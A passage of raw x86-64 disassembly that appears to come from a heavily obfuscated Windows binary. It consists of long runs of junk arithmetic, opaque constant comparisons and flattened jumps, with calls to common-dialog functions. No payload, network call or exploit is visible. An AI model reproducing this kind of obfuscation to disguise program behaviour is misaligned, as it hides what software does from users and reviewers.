mov byte [rsp + 0x126], al
mov rax, qword [rsp + 0x4ad8]
mov ecx, dword [rsp + 0x27ac]
mov eax, dword [rax]
sub eax, ecx
mov rcx, qword [rsp + 0x4ad8]
mov dword [rcx], eax
mov rax, qword [rsp + 0x4ad8]
mov ecx, dword [rsp + 0x27ac]
mov eax, dword [rax]
add eax, ecx
mov rcx, qword [rsp + 0x4ad8]
mov dword [rcx], eax
movzx eax, word [rsp + 0x930]
mov rcx, qword [rsp + 0x4ac8]
movzx ecx, word [rcx]
and eax, ecx
mov rcx, qword [rsp + 0x4ac0]
mov word [rcx], ax
movsx eax, byte [rsp + 0x125]
sub eax, 0x19
mov rcx, qword [rsp + 0x4ae0]
mov byte [rcx], al
mov eax, dword [rsp + 0x27b0]
sub eax, 0xac
mov dword [rsp + 0x27b0], eax
mov rax, qword [rsp + 0x4ae0]
movsx eax, byte [rax]
movsx ecx, byte [rsp + 0x125]
add eax, ecx
mov rcx, qword [rsp + 0x4ae0]
mov byte [rcx], al
movzx eax, byte [rsp + 0x126]
mov rcx, qword [rsp + 0x4ad0]
movzx ecx, byte [rcx]
add eax, ecx
mov rcx, qword [rsp + 0x4ae8]
mov byte [rcx], al
mov rax, qword [rsp + 0x4ac0]
movzx eax, word [rax]
mov rcx, qword [rsp + 0x4ac8]
movzx ecx, word [rcx]
sub eax, ecx
mov rcx, qword [rsp + 0x4ac0]
mov word [rcx], ax
mov rax, qword [rsp + 0x4ac0]
movzx eax, word [rax]
movzx ecx, word [rsp + 0x930]
xor eax, ecx
mov word [0x140168a7c], ax
mov rax, qword [rsp + 0x4ad0]
movzx eax, byte [rax]
movzx ecx, byte [rsp + 0x126]
or eax, ecx
mov rcx, qword [rsp + 0x4ad0]
mov byte [rcx], al
mov eax, dword [rsp + 0x2798]
movzx ecx, al
mov eax, dword [rsp + 0x27c0]
shr eax, cl
mov rcx, qword [rsp + 0x4ad8]
mov dword [rcx], eax
mov rax, qword [rsp + 0x4ad0]
movzx eax, byte [rax]
movzx ecx, byte [rsp + 0x126]
shl eax, cl
mov rcx, qword [rsp + 0x4ad0]
mov byte [rcx], al
mov rax, qword [rsp + 0x4ad0]
movzx eax, byte [rax]
movzx ecx, byte [rsp + 0x127]
and eax, ecx
mov rcx, qword [rsp + 0x4ae8]
mov byte [rcx], al
movzx eax, word [0x140168a7c]
mov rcx, qword [rsp + 0x4ac0]
movzx ecx, word [rcx]
sub eax, ecx
mov word [rsp + 0x930], ax
mov rax, qword [rsp + 0x4ae0]
movsx eax, byte [rax]
movsx ecx, byte [rsp + 0x125]
add eax, ecx
mov rcx, qword [rsp + 0x4ae0]
mov byte [rcx], al
mov rax, qword [rsp + 0x4ae0]
movsx eax, byte [rax]
sub eax, 0x3d
mov byte [rsp + 0x125], al
mov rax, qword [rsp + 0x4ae0]
movsx eax, byte [rax]
add eax, 0x79
mov byte [rsp + 0x125], al
jmp 0x14001486b
cmp dword [rsp + 0x27bc], 0x2fa8
jae 0x140014f6c
mov eax, dword [0x140168a78]
sub eax, 0x48f4771a
mov dword [0x140168a78], eax
mov rax, qword [rsp + 0x4ad8]
mov ecx, dword [rsp + 0x2798]
mov eax, dword [rax]
and eax, ecx
mov rcx, qword [rsp + 0x4ad8]
mov dword [rcx], eax
movzx eax, byte [rsp + 0x127]
mov rcx, qword [rsp + 0x4ad0]
movzx ecx, byte [rcx]
add eax, ecx
mov byte [rsp + 0x126], al
mov rax, qword [rsp + 0x4ac8]
movzx eax, word [rax]
movzx ecx, word [0x140168a7c]
sub eax, ecx
mov word [rsp + 0x930], ax
movzx eax, byte [rsp + 0x126]
mov rcx, qword [rsp + 0x4ae8]
movzx ecx, byte [rcx]
add eax, ecx
mov byte [rsp + 0x127], al
mov rax, qword [rsp + 0x4ac8]
movzx eax, word [rax]
movzx ecx, word [rsp + 0x930]
sar eax, cl
mov rcx, qword [rsp + 0x4ac0]
mov word [rcx], ax
mov rax, qword [rsp + 0x4ad0]
movzx eax, byte [rax]
movzx ecx, byte [rsp + 0x127]
or eax, ecx
mov byte [rsp + 0x126], al
mov rax, qword [rsp + 0x4ac8]
movzx eax, word [rax]
movzx ecx, word [rsp + 0x930]
shl eax, cl
mov rcx, qword [rsp + 0x4ac0]
mov word [rcx], ax
mov rax, qword [rsp + 0x4ad0]
movzx eax, byte [rax]
movzx ecx, byte [rsp + 0x127]
xor eax, ecx
mov rcx, qword [rsp + 0x4ae8]
mov byte [rcx], al
movsx eax, byte [rsp + 0x125]
and eax, 0xc
mov rcx, qword [rsp + 0x4ae0]
mov byte [rcx], al
mov rax, qword [rsp + 0x4ad8]
mov ecx, dword [rsp + 0x27ac]
mov eax, dword [rax]
add eax, ecx
mov rcx, qword [rsp + 0x4ad8]
mov dword [rcx], eax
movzx eax, word [rsp + 0x930]
mov rcx, qword [rsp + 0x4ac0]
movzx ecx, word [rcx]
sub eax, ecx
mov rcx, qword [rsp + 0x4ac8]
mov word [rcx], ax
movzx eax, byte [rsp + 0x127]
movzx ecx, byte [rsp + 0x126]
sub eax, ecx
mov rcx, qword [rsp + 0x4ad0]
mov byte [rcx], al
mov eax, dword [rsp + 0x27c0]
mov ecx, dword [rsp + 0x2798]
add ecx, eax
mov eax, ecx
mov rcx, qword [rsp + 0x4ad8]
mov dword [rcx], eax
movzx eax, word [0x140168a7c]
mov rcx, qword [rsp + 0x4ac8]
movzx ecx, word [rcx]
add eax, ecx
mov word [rsp + 0x930], ax
mov rax, qword [rsp + 0x4ad0]
movzx eax, byte [rax]
mov rcx, qword [rsp + 0x4ae8]
movzx ecx, byte [rcx]
add eax, ecx
mov byte [rsp + 0x127], al
movsx eax, byte [rsp + 0x125]
and eax, 0x46
mov rcx, qword [rsp + 0x4ae0]
mov byte [rcx], al
movzx eax, word [rsp + 0x930]
movzx ecx, word [0x140168a7c]
sub eax, ecx
mov rcx, qword [rsp + 0x4ac8]
mov word [rcx], ax
mov rax, qword [rsp + 0x4ae0]
movsx eax, byte [rax]
movsx ecx, byte [rsp + 0x125]
or eax, ecx
mov rcx, qword [rsp + 0x4ae0]
mov byte [rcx], al
mov rax, qword [rsp + 0x4ae0]
movsx eax, byte [rax]
shl eax, 6
mov byte [rsp + 0x125], al
mov rax, qword [rsp + 0x4ae0]
movsx eax, byte [rax]
movsx ecx, byte [rsp + 0x125]
xor eax, ecx
mov rcx, qword [rsp + 0x4ae0]
mov byte [rcx], al
mov eax, dword [rsp + 0x2798]
mov rcx, qword [rsp + 0x4ad8]
mov qword [rsp + 0x4af8], rcx
movzx ecx, al
mov rax, qword [rsp + 0x4af8]
mov eax, dword [rax]
shr eax, cl
mov rcx, qword [rsp + 0x4ad8]
mov dword [rcx], eax
mov rax, qword [rsp + 0x4ae0]
movsx eax, byte [rax]
sub eax, 0x3d
mov byte [rsp + 0x125], al
mov rax, qword [rsp + 0x4ac0]
movzx eax, word [rax]
movzx ecx, word [0x140168a7c]
and eax, ecx
mov rcx, qword [rsp + 0x4ac0]
mov word [rcx], ax
movzx eax, byte [rsp + 0x127]
movzx ecx, byte [rsp + 0x126]
sub eax, ecx
mov rcx, qword [rsp + 0x4ad0]
mov byte [rcx], al
mov rax, qword [rsp + 0x4ad8]
mov ecx, dword [rsp + 0x2798]
mov eax, dword [rax]
add eax, ecx
mov dword [rsp + 0x27ac], eax
mov rax, qword [rsp + 0x4ae0]
movsx eax, byte [rax]
movsx ecx, byte [rsp + 0x125]
add eax, ecx
mov rcx, qword [rsp + 0x4ae0]
mov byte [rcx], al
mov eax, dword [rsp + 0x27ac]
mov ecx, dword [rsp + 0x27c0]
add ecx, eax
mov eax, ecx
mov rcx, qword [rsp + 0x4ad8]
mov dword [rcx], eax
mov eax, dword [rsp + 0x27bc]
add eax, 0x10
mov dword [rsp + 0x27bc], eax
mov rax, qword [rsp + 0x4ac0]
movzx eax, word [rax]
movzx ecx, word [0x140168a7c]
sub eax, ecx
mov word [rsp + 0x930], ax
mov rax, qword [rsp + 0x4ad8]
mov ecx, dword [rsp + 0x2798]
mov eax, dword [rax]
sub eax, ecx
mov rcx, qword [rsp + 0x4ad8]
mov dword [rcx], eax
mov eax, dword [rsp + 0x27c0]
mov ecx, dword [rsp + 0x2798]
sub ecx, eax
mov eax, ecx
mov rcx, qword [rsp + 0x4ad8]
mov dword [rcx], eax
movzx eax, byte [rsp + 0x126]
mov rcx, qword [rsp + 0x4ae8]
movzx ecx, byte [rcx]
and eax, ecx
mov rcx, qword [rsp + 0x4ad0]
mov byte [rcx], al
movsx eax, byte [rsp + 0x125]
shl eax, 5
mov rcx, qword [rsp + 0x4ae0]
mov byte [rcx], al
mov eax, dword [rsp + 0x27c0]
mov rcx, qword [rsp + 0x4ad8]
mov qword [rsp + 0x4b00], rcx
movzx ecx, al
mov rax, qword [rsp + 0x4b00]
mov eax, dword [rax]
shr eax, cl
mov rcx, qword [rsp + 0x4ad8]
mov dword [rcx], eax
movzx eax, byte [rsp + 0x127]
mov rcx, qword [rsp + 0x4ae8]
movzx ecx, byte [rcx]
xor eax, ecx
mov rcx, qword [rsp + 0x4ad0]
mov byte [rcx], al
movzx eax, word [0x140168a7c]
mov rcx, qword [rsp + 0x4ac8]
movzx ecx, word [rcx]
or eax, ecx
mov word [rsp + 0x930], ax
mov eax, dword [rsp + 0x2798]
mov ecx, dword [rsp + 0x27ac]
add ecx, eax
mov eax, ecx
mov rcx, qword [rsp + 0x4ad8]
mov dword [rcx], eax
mov eax, dword [rsp + 0x27ac]
mov ecx, dword [rsp + 0x27c0]
sub ecx, eax
mov eax, ecx
mov rcx, qword [rsp + 0x4ad8]
mov dword [rcx], eax
mov rax, qword [rsp + 0x4ae8]
movzx eax, byte [rax]
mov rcx, qword [rsp + 0x4ad0]
movzx ecx, byte [rcx]
and eax, ecx
mov byte [rsp + 0x126], al
jmp 0x140014adf
cmp dword [rsp + 0x2794], 0x48da
je 0x140015250
movzx eax, byte [rsp + 0x127]
mov rcx, qword [rsp + 0x4ad0]
movzx ecx, byte [rcx]
add eax, ecx
mov byte [rsp + 0x126], al
mov rax, qword [rsp + 0x4ac8]
movzx eax, word [rax]
movzx ecx, word [rsp + 0x930]
sub eax, ecx
mov rcx, qword [rsp + 0x4ac8]
mov word [rcx], ax
mov eax, dword [rsp + 0x2794]
add eax, 0xec
mov dword [rsp + 0x2794], eax
movsx eax, byte [rsp + 0x125]
sub eax, 0x13
mov rcx, qword [rsp + 0x4ae0]
mov byte [rcx], al
movzx eax, byte [rsp + 0x127]
mov rcx, qword [rsp + 0x4ae8]
movzx ecx, byte [rcx]
add eax, ecx
mov rcx, qword [rsp + 0x4ad0]
mov byte [rcx], al
movzx eax, word [0x140168a7c]
mov rcx, qword [rsp + 0x4ac0]
movzx ecx, word [rcx]
add eax, ecx
mov word [rsp + 0x930], ax
mov eax, dword [0x140168a78]
sub eax, 0x75392c1c
mov dword [0x140168a78], eax
movzx eax, byte [rsp + 0x127]
mov rcx, qword [rsp + 0x4ae8]
movzx ecx, byte [rcx]
add eax, ecx
mov rcx, qword [rsp + 0x4ad0]
mov byte [rcx], al
movzx eax, word [0x140168a7c]
mov rcx, qword [rsp + 0x4ac0]
movzx ecx, word [rcx]
sub eax, ecx
mov word [rsp + 0x930], ax
mov rax, qword [rsp + 0x4ad8]
mov ecx, dword [rsp + 0x2798]
mov eax, dword [rax]
xor eax, ecx
mov rcx, qword [rsp + 0x4ad8]
mov dword [rcx], eax
movzx eax, byte [rsp + 0x126]
movzx ecx, byte [rsp + 0x127]
shl eax, cl
mov rcx, qword [rsp + 0x4ad0]
mov byte [rcx], al
mov rax, qword [rsp + 0x4ae8]
movzx eax, byte [rax]
movzx ecx, byte [rsp + 0x127]
or eax, ecx
mov byte [rsp + 0x126], al
mov rax, qword [rsp + 0x4ac8]
movzx eax, word [rax]
movzx ecx, word [rsp + 0x930]
sar eax, cl
mov rcx, qword [rsp + 0x4ac8]
mov word [rcx], ax
mov rax, qword [rsp + 0x4ae0]
movsx eax, byte [rax]
and eax, 0x49
mov byte [rsp + 0x125], al
movzx eax, byte [rsp + 0x126]
mov rcx, qword [rsp + 0x4ad0]
movzx ecx, byte [rcx]
sub eax, ecx
mov rcx, qword [rsp + 0x4ae8]
mov byte [rcx], al
mov eax, dword [0x140168a78]
add eax, 0x468377e5
mov dword [0x140168a78], eax
mov rax, qword [rsp + 0x4ad0]
movzx eax, byte [rax]
movzx ecx, byte [rsp + 0x126]
and eax, ecx
mov byte [rsp + 0x127], al
mov rax, qword [rsp + 0x4ae0]
movsx eax, byte [rax]
movsx ecx, byte [rsp + 0x125]
sub eax, ecx
mov rcx, qword [rsp + 0x4ae0]
mov byte [rcx], al
mov eax, dword [rsp + 0x27ac]
mov ecx, dword [rsp + 0x2798]
add ecx, eax
mov eax, ecx
mov rcx, qword [rsp + 0x4ad8]
mov dword [rcx], eax
mov rax, qword [rsp + 0x4ad8]
mov ecx, dword [rsp + 0x27c0]
mov eax, dword [rax]
add eax, ecx
mov dword [rsp + 0x2798], eax
movzx eax, byte [rsp + 0x127]
mov rcx, qword [rsp + 0x4ad0]
movzx ecx, byte [rcx]
add eax, ecx
mov byte [rsp + 0x126], al
movzx eax, word [0x140168a7c]
mov rcx, qword [rsp + 0x4ac8]
movzx ecx, word [rcx]
sub eax, ecx
mov word [rsp + 0x930], ax
movsx eax, byte [rsp + 0x125]
sar eax, 7
mov rcx, qword [rsp + 0x4ae0]
mov byte [rcx], al
movzx eax, byte [rsp + 0x127]
movzx ecx, byte [rsp + 0x126]
shl eax, cl
mov rcx, qword [rsp + 0x4ad0]
mov byte [rcx], al
movabs rax, 0xad6321ab5435f725
mov rcx, qword [0x140169c40]
or rcx, rax
mov rax, rcx
mov qword [0x140169c40], rax
movsx eax, byte [rsp + 0x125]
xor eax, 0x3f
mov rcx, qword [rsp + 0x4ae0]
mov byte [rcx], al
mov eax, dword [rsp + 0x27ac]
mov ecx, dword [rsp + 0x2798]
and ecx, eax
mov eax, ecx
mov rcx, qword [rsp + 0x4ad8]
mov dword [rcx], eax
jmp 0x140014f6c
movabs rax, 0xaff37eed53f3951
mov qword [rsp + 0x4b08], rax
mov dword [rsp + 0x27c8], 0x62bb
mov rax, qword [0x140169c40]
mov qword [rsp + 0x4b10], rax
movabs rax, 0xad6365ebd435f725
cmp qword [rsp + 0x4b10], rax
je 0x140015295
jmp 0x14014797f
cmp dword [rsp + 0x2790], 0x57c9
je 0x140015852
mov rax, qword [rsp + 0x4ad0]
movzx eax, byte [rax]
movzx ecx, byte [rsp + 0x126]
sub eax, ecx
mov rcx, qword [rsp + 0x4ae8]
mov byte [rcx], al
mov rax, qword [rsp + 0x4ac0]
movzx eax, word [rax]
movzx ecx, word [rsp + 0x930]
add eax, ecx
mov rcx, qword [rsp + 0x4ac8]
mov word [rcx], ax
mov rax, qword [rsp + 0x4ad8]
mov ecx, dword [rsp + 0x27c0]
mov eax, dword [rax]
add eax, ecx
mov dword [rsp + 0x2798], eax
mov rax, qword [rsp + 0x4b08]
shl rax, 0x15
mov qword [rsp + 0x4b08], rax
mov rax, qword [rsp + 0x4ae0]
movsx eax, byte [rax]
movsx ecx, byte [rsp + 0x125]
sar eax, cl
mov rcx, qword [rsp + 0x4ae0]
mov byte [rcx], al
mov rax, qword [rsp + 0x4ae0]
movsx eax, byte [rax]
movsx ecx, byte [rsp + 0x125]
or eax, ecx
mov rcx, qword [rsp + 0x4ae0]
mov byte [rcx], al
mov rax, qword [rsp + 0x4ae0]
movsx eax, byte [rax]
movsx ecx, byte [rsp + 0x125]
xor eax, ecx
mov rcx, qword [rsp + 0x4ae0]
mov byte [rcx], al
movzx eax, word [rsp + 0x930]
mov rcx, qword [rsp + 0x4ac8]
movzx ecx, word [rcx]
and eax, ecx
mov rcx, qword [rsp + 0x4ac0]
mov word [rcx], ax
movzx eax, byte [rsp + 0x127]
mov rcx, qword [rsp + 0x4ae8]
movzx ecx, byte [rcx]
add eax, ecx
mov rcx, qword [rsp + 0x4ad0]
mov byte [rcx], al
movzx eax, byte [rsp + 0x127]
mov rcx, qword [rsp + 0x4ad0]
movzx ecx, byte [rcx]
add eax, ecx
mov byte [rsp + 0x126], al
movabs rax, 0x5539bdfe48346c8c
mov rcx, qword [0x140169c40]
sub rcx, rax
mov rax, rcx
mov qword [0x140169c40], rax
mov rax, qword [rsp + 0x4ad0]
movzx eax, byte [rax]
movzx ecx, byte [rsp + 0x126]
add eax, ecx
mov rcx, qword [rsp + 0x4ae8]
mov byte [rcx], al
mov eax, dword [rsp + 0x2798]
mov ecx, dword [rsp + 0x27c0]
sub ecx, eax
mov eax, ecx
mov dword [rsp + 0x27ac], eax
movabs rax, 0x359b95f452f7840
mov rcx, qword [rsp + 0x4b08]
and rcx, rax
mov rax, rcx
mov qword [rsp + 0x4b08], rax
mov rax, qword [rsp + 0x4ae0]
movsx eax, byte [rax]
sub eax, 0x7c
mov byte [rsp + 0x125], al
mov rax, qword [rsp + 0x4ad0]
movzx eax, byte [rax]
movzx ecx, byte [rsp + 0x127]
add eax, ecx
mov rcx, qword [rsp + 0x4ad0]
mov byte [rcx], al
mov eax, dword [rsp + 0x2790]
add eax, 0xb4
mov dword [rsp + 0x2790], eax
mov rax, qword [rsp + 0x4ae8]
movzx eax, byte [rax]
movzx ecx, byte [rsp + 0x126]
sub eax, ecx
mov rcx, qword [rsp + 0x4ad0]
mov byte [rcx], al
mov rax, qword [rsp + 0x4ac0]
movzx eax, word [rax]
mov rcx, qword [rsp + 0x4ac8]
movzx ecx, word [rcx]
sar eax, cl
mov word [rsp + 0x930], ax
mov rax, qword [rsp + 0x4ae0]
movsx eax, byte [rax]
movsx ecx, byte [rsp + 0x125]
shl eax, cl
mov rcx, qword [rsp + 0x4ae0]
mov byte [rcx], al
mov rax, qword [rsp + 0x4ad0]
movzx eax, byte [rax]
movzx ecx, byte [rsp + 0x126]
xor eax, ecx
mov rcx, qword [rsp + 0x4ae8]
mov byte [rcx], al
mov rax, qword [rsp + 0x4ae8]
movzx eax, byte [rax]
movzx ecx, byte [rsp + 0x127]
or eax, ecx
mov rcx, qword [rsp + 0x4ae8]
mov byte [rcx], al
mov rax, qword [rsp + 0x4ad8]
mov eax, dword [rax]
mov ecx, dword [rsp + 0x27c0]
and ecx, eax
mov eax, ecx
mov dword [rsp + 0x27ac], eax
movzx eax, byte [rsp + 0x127]
mov rcx, qword [rsp + 0x4ad0]
movzx ecx, byte [rcx]
sub eax, ecx
mov rcx, qword [rsp + 0x4ae8]
mov byte [rcx], al
mov rax, qword [rsp + 0x4ae0]
movsx eax, byte [rax]
movsx ecx, byte [rsp + 0x125]
sub eax, ecx
mov rcx, qword [rsp + 0x4ae0]
mov byte [rcx], al
movzx eax, word [rsp + 0x930]
mov rcx, qword [rsp + 0x4ac8]
movzx ecx, word [rcx]
add eax, ecx
mov rcx, qword [rsp + 0x4ac0]
mov word [rcx], ax
mov rax, qword [rsp + 0x4ad8]
mov ecx, dword [rsp + 0x27c0]
mov eax, dword [rax]
sub eax, ecx
mov rcx, qword [rsp + 0x4ad8]
mov dword [rcx], eax
movzx eax, byte [rsp + 0x126]
mov rcx, qword [rsp + 0x4ad0]
movzx ecx, byte [rcx]
add eax, ecx
mov byte [rsp + 0x127], al
mov rax, qword [rsp + 0x4ac0]
movzx eax, word [rax]
mov rcx, qword [rsp + 0x4ac8]
movzx ecx, word [rcx]
sub eax, ecx
mov word [rsp + 0x930], ax
mov rax, qword [rsp + 0x4ac8]
movzx eax, word [rax]
movzx ecx, word [rsp + 0x930]
and eax, ecx
mov word [0x140168a7c], ax
movzx eax, word [rsp + 0x930]
mov rcx, qword [rsp + 0x4ac0]
movzx ecx, word [rcx]
add eax, ecx
mov rcx, qword [rsp + 0x4ac8]
mov word [rcx], ax
movzx eax, word [0x140168a7c]
mov rcx, qword [rsp + 0x4ac0]
movzx ecx, word [rcx]
shl eax, cl
mov word [rsp + 0x930], ax
mov rax, qword [rsp + 0x4ac0]
movzx eax, word [rax]
movzx ecx, word [rsp + 0x930]
or eax, ecx
mov rcx, qword [rsp + 0x4ac8]
mov word [rcx], ax
mov eax, dword [rsp + 0x27c0]
mov ecx, dword [rsp + 0x27ac]
xor ecx, eax
mov eax, ecx
mov rcx, qword [rsp + 0x4ad8]
mov dword [rcx], eax
mov rax, qword [rsp + 0x4ad8]
mov eax, dword [rax]
mov dword [rsp + 0x27c0], eax
mov rax, qword [rsp + 0x4ad0]
movzx eax, byte [rax]
movzx ecx, byte [rsp + 0x127]
sar eax, cl
mov rcx, qword [rsp + 0x4ae8]
mov byte [rcx], al
mov rax, qword [rsp + 0x4ae0]
movsx eax, byte [rax]
movsx ecx, byte [rsp + 0x125]
sub eax, ecx
mov rcx, qword [rsp + 0x4ae0]
mov byte [rcx], al
movzx eax, word [rsp + 0x930]
movzx ecx, word [0x140168a7c]
and eax, ecx
mov rcx, qword [rsp + 0x4ac0]
mov word [rcx], ax
movabs rax, 0x3e124dae48f79d95
mov rcx, qword [0x140169c40]
add rcx, rax
mov rax, rcx
mov qword [0x140169c40], rax
mov rax, qword [rsp + 0x4ad8]
mov ecx, dword [rsp + 0x27c0]
mov eax, dword [rax]
sub eax, ecx
mov rcx, qword [rsp + 0x4ad8]
mov dword [rcx], eax
mov eax, dword [rsp + 0x27c0]
mov ecx, dword [rsp + 0x2798]
sub ecx, eax
mov eax, ecx
mov rcx, qword [rsp + 0x4ad8]
mov dword [rcx], eax
movabs rax, 0xbb28e65e1724346
mov rcx, qword [rsp + 0x4b08]
add rcx, rax
mov rax, rcx
mov qword [rsp + 0x4b08], rax
movzx eax, byte [rsp + 0x126]
mov rcx, qword [rsp + 0x4ad0]
movzx ecx, byte [rcx]
add eax, ecx
mov byte [rsp + 0x127], al
movabs rax, 0x33b4d6a62a3a9e45
mov rcx, qword [rsp + 0x4b08]
add rcx, rax
mov rax, rcx
mov qword [rsp + 0x4b08], rax
mov rax, qword [rsp + 0x4ae8]
movzx eax, byte [rax]
mov rcx, qword [rsp + 0x4ad0]
movzx ecx, byte [rcx]
sub eax, ecx
mov rcx, qword [rsp + 0x4ae8]
mov byte [rcx], al
movzx eax, byte [rsp + 0x126]
mov rcx, qword [rsp + 0x4ad0]
movzx ecx, byte [rcx]
and eax, ecx
mov rcx, qword [rsp + 0x4ae8]
mov byte [rcx], al
movzx eax, word [rsp + 0x930]
movzx ecx, word [0x140168a7c]
or eax, ecx
mov rcx, qword [rsp + 0x4ac0]
mov word [rcx], ax
mov eax, dword [0x140168a78]
sar eax, 6
mov dword [0x140168a78], eax
mov rax, qword [rsp + 0x4ad8]
mov eax, dword [rax]
mov ecx, dword [rsp + 0x27ac]
xor ecx, eax
mov eax, ecx
mov dword [rsp + 0x2798], eax
movzx eax, word [0x140168a7c]
mov rcx, qword [rsp + 0x4ac0]
movzx ecx, word [rcx]
shl eax, cl
mov word [rsp + 0x930], ax
jmp 0x140015295
movzx eax, byte [rsp + 0x126]
movzx ecx, byte [rsp + 0x127]
add eax, ecx
mov rcx, qword [rsp + 0x4ae8]
movzx ecx, byte [rcx]
mov rdx, qword [rsp + 0x4ad0]
movzx edx, byte [rdx]
add ecx, edx
cmp eax, ecx
jle 0x1400158bd
mov rax, qword [rsp + 0x4ac0]
movzx eax, word [rax]
mov rcx, qword [rsp + 0x4ac8]
movzx ecx, word [rcx]
and eax, ecx
mov rcx, qword [rsp + 0x4ac0]
mov word [rcx], ax
mov rax, qword [rsp + 0x4ae0]
movsx eax, byte [rax]
add eax, 0x51
mov byte [rsp + 0x125], al
jmp 0x140015a6e
movzx eax, word [rsp + 0x930]
mov dword [rsp + 0x27cc], eax
cmp dword [rsp + 0x27cc], 0
je 0x1400158db
jmp 0x140015a4e
lea rax, [rsp + 0x125]
mov qword [rsp + 0x4b18], rax
movabs rax, 0x33e9b3eaf5297643
mov rcx, qword [0x140169c40]
sub rcx, rax
mov rax, rcx
movabs rcx, 0x491612da70c2e498
cmp rax, rcx
jb 0x140015a13
mov rax, qword [rsp + 0x4ad8]
mov eax, dword [rax]
mov dword [rsp + 0x27d0], eax
cmp dword [rsp + 0x27d0], 0x5df5320d
je 0x140015935
jmp 0x14001594f
lea rcx, [rsp + 0x1e240]
call qword [sym.imp.COMDLG32.dll_GetOpenFileNameW]
mov dword [rsp + 0x27d4], eax
jmp 0x140015a06
mov rax, qword [rsp + 0x4b08]
mov qword [rsp + 0x4b20], rax
movabs rax, 0x22ae1b4d8c796c0e
cmp qword [rsp + 0x4b20], rax
je 0x140015989
movabs rax, 0x4068fe280ccce18b
cmp qword [rsp + 0x4b20], rax
je 0x1400159e8
jmp 0x140015a06
movzx eax, byte [rsp + 0x127]
mov rcx, qword [rsp + 0x4ae8]
movzx ecx, byte [rcx]
sub eax, ecx
mov rcx, qword [rsp + 0x4ad0]
mov byte [rcx], al
mov rax, qword [rsp + 0x4ad0]
movzx eax, byte [rax]
movzx ecx, byte [rsp + 0x127]
sub eax, ecx
mov byte [rsp + 0x126], al
mov rax, qword [rsp + 0x4b18]
movsx eax, byte [rax]
mov rcx, qword [rsp + 0x4ae0]
movsx ecx, byte [rcx]
add eax, ecx
mov rcx, qword [rsp + 0x4b18]
mov byte [rcx], al
jmp 0x140015a06
mov rax, qword [rsp + 0x4ac0]
movzx eax, word [rax]
mov word [rsp + 0xab0], ax
mov dword [rsp + 0x27d8], 0xd0fd
mov dword [rsp + 0x27dc], 0x511
jmp 0x140015a4c
movsx eax, byte [rsp + 0x125]
mov rcx, qword [rsp + 0x4b18]
movsx ecx, byte [rcx]
sub eax, ecx
mov rcx, qword [rsp + 0x4ae0]
movsx ecx, byte [rcx]
cmp eax, ecx
je 0x140015a4c
lea rcx, [rsp + 0x1d910]
call qword [sym.imp.COMDLG32.dll_ChooseColorW]
mov dword [rsp + 0x27a0], eax
jmp 0x140015a6e
movabs rax, 0x2b3ee9fc14bf27ce
mov rcx, qword [rsp + 0x4b08]
add rcx, rax
mov rax, rcx
mov qword [rsp + 0x4b08], rax
lea rax, [rsp + 0x2798]
mov qword [rsp + 0x4b28], rax
cmp dword [rsp + 0x27c8], 0x664b
je 0x140015c20
mov rax, qword [rsp + 0x4b18]
movsx eax, byte [rax]
mov rcx, qword [rsp + 0x4ae0]
movsx ecx, byte [rcx]
sub eax, ecx
mov byte [rsp + 0x125], al
movsx eax, byte [rsp + 0x125]
mov rcx, qword [rsp + 0x4ae0]
movsx ecx, byte [rcx]
xor eax, ecx
mov rcx, qword [rsp + 0x4b18]
mov byte [rcx], al
mov eax, dword [rsp + 0x2798]
mov rcx, qword [rsp + 0x4b28]
mov qword [rsp + 0x4b30], rcx
movzx ecx, al
mov rax, qword [rsp + 0x4b30]
mov eax, dword [rax]
shr eax, cl
mov dword [rsp + 0x27ac], eax
mov eax, dword [rsp + 0x27c8]
add eax, 0x10
mov dword [rsp + 0x27c8], eax
mov rax, qword [rsp + 0x4b18]
movsx eax, byte [rax]
mov rcx, qword [rsp + 0x4ae0]
movsx ecx, byte [rcx]
shl eax, cl
mov byte [rsp + 0x125], al
movzx eax, word [rsp + 0x930]
mov rcx, qword [rsp + 0x4ac0]
movzx ecx, word [rcx]
or eax, ecx
mov word [rsp + 0xab0], ax
mov rax, qword [rsp + 0x4ae8]
movzx eax, byte [rax]
movzx ecx, byte [rsp + 0x127]
and eax, ecx
mov rcx, qword [rsp + 0x4ad0]
mov byte [rcx], al
mov rax, qword [rsp + 0x4ac0]
movzx eax, word [rax]
movzx ecx, word [rsp + 0xab0]
sub eax, ecx
mov word [rsp + 0x930], ax
movsx eax, byte [rsp + 0x125]
mov rcx, qword [rsp + 0x4ae0]
movsx ecx, byte [rcx]
sub eax, ecx
mov rcx, qword [rsp + 0x4b18]
mov byte [rcx], al
movsx eax, byte [rsp + 0x125]
mov rcx, qword [rsp + 0x4ae0]
movsx ecx, byte [rcx]
and eax, ecx
mov rcx, qword [rsp + 0x4b18]
mov byte [rcx], al
movzx eax, byte [rsp + 0x127]
mov rcx, qword [rsp + 0x4ae8]
movzx ecx, byte [rcx]
add eax, ecx
mov rcx, qword [rsp + 0x4ad0]
mov byte [rcx], al
mov rax, qword [rsp + 0x4ad8]
mov eax, dword [rax]
mov ecx, dword [rsp + 0x27c0]
sub ecx, eax
mov eax, ecx
mov dword [rsp + 0x27ac], eax
mov rax, qword [rsp + 0x4ae0]
movsx eax, byte [rax]
mov rcx, qword [rsp + 0x4b18]
movsx ecx, byte [rcx]
add eax, ecx
mov byte [rsp + 0x125], al
jmp 0x140015a7e
movzx eax, byte [rsp + 0x126]
mov byte [rsp + 0x128], al
lea rax, [rsp + 0x930]
mov qword [rsp + 0x4b38], rax
mov rax, qword [rsp + 0x4b28]
mov eax, dword [rax]
mov ecx, dword [rsp + 0x27ac]
add ecx, eax
mov eax, ecx
mov ecx, dword [rsp + 0x2798]
mov edx, dword [rsp + 0x27c0]
add edx, ecx
mov ecx, edx
cmp eax, ecx
jb 0x140015d7e
movabs rax, 0x76d5972f0f70e4b0
cmp qword [0x140169c40], rax
je 0x140015cd9
lea rax, [0x140169c40]
mov qword [0x140169c48], rax
lea rax, [rsp + 0x125]
mov qword [rsp + 0x4b40], rax
lea rax, [rsp + 0x127]
mov qword [rsp + 0x4b48], rax
mov eax, dword [rsp + 0x27ac]
movzx ecx, al
mov eax, dword [rsp + 0x27c0]
shr eax, cl
mov dword [rsp + 0x2798], eax
mov rax, qword [rsp + 0x4b08]
mov qword [rsp + 0x4b50], rax
mov rax, qword [rsp + 0x4b50]
mov qword [rsp + 0x4b58], rax
movabs rax, 0x4068fe280ccce18b
cmp qword [rsp + 0x4b58], rax
je 0x140015cff
jmp 0x140015d5f
mov eax, 0x63f7
mov word [rsp + 0xab4], ax
mov rax, qword [rsp + 0x4b38]
